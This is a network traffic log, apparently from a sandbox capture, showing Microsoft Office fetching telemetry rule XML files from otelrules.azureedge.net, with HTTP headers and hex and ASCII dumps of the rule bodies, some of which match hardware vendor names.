2024-11-07 05:01:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:03 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: bfc5cfc9-a01e-0070-0546-2e573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050103Z-15869dbbcc6m5ms4hC1DFWx02800000008ng00000000bbp1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:03 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:03 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:03 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 6bd3c087-001e-000b-13fd-2c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050103Z-16547b76f7f2g4rlhC1DFWnx8800000007p0000000002x7r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:03 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:03 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:03 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:03 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 63ea3643-901e-0015-3101-2db284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050103Z-16547b76f7fvllnfhC1DFWxkg800000007qg00000000av46 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:03 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:03 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:03 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:03 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 9fa60dcf-d01e-008e-7a27-2f387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050103Z-15869dbbcc6tjwwhhC1DFWn2280000000110000000003fnb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:03 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:04 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:04 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:04 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 764b7f95-c01e-00a1-1c00-2d7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050104Z-16547b76f7fj5p7mhC1DFWf8w400000007pg00000000ngr2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:04 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:04 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:04 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:04 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 35766e02-001e-005a-1d8d-30c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050104Z-17df447cdb56mx55hC1DFWvbt400000000z0000000002va4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:04 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:04 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:04 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:04 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 75035ba1-b01e-005c-42fb-2c4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050104Z-16547b76f7f67wxlhC1DFWah9w00000007s0000000000m5v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:04 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:04 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:04 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:04 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 11ffd83c-b01e-003d-6a61-2ed32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050104Z-15869dbbcc6khw88hC1DFWbb20000000013000000000rs80 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:04 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:04 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:04 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:04 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 2398beba-501e-007b-298e-2d5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050104Z-15869dbbcc662ldwhC1DFWbd5g000000014g000000008q5f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:04 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:05 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:06 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:05 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 0e31b739-001e-002b-304d-2e99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050105Z-15869dbbcc6lxrkghC1DFWp3wc00000008cg00000000eceq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:06 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:05 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:06 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:05 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 47d81796-701e-0021-2403-2d3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050105Z-16547b76f7fp6mhthC1DFWrggn00000007q000000000mz37 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:06 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:05 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:06 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:05 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8e718dad-301e-0051-6df1-2c38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050105Z-16547b76f7fm7xw6hC1DFW5px400000007kg00000000b5vz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:06 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

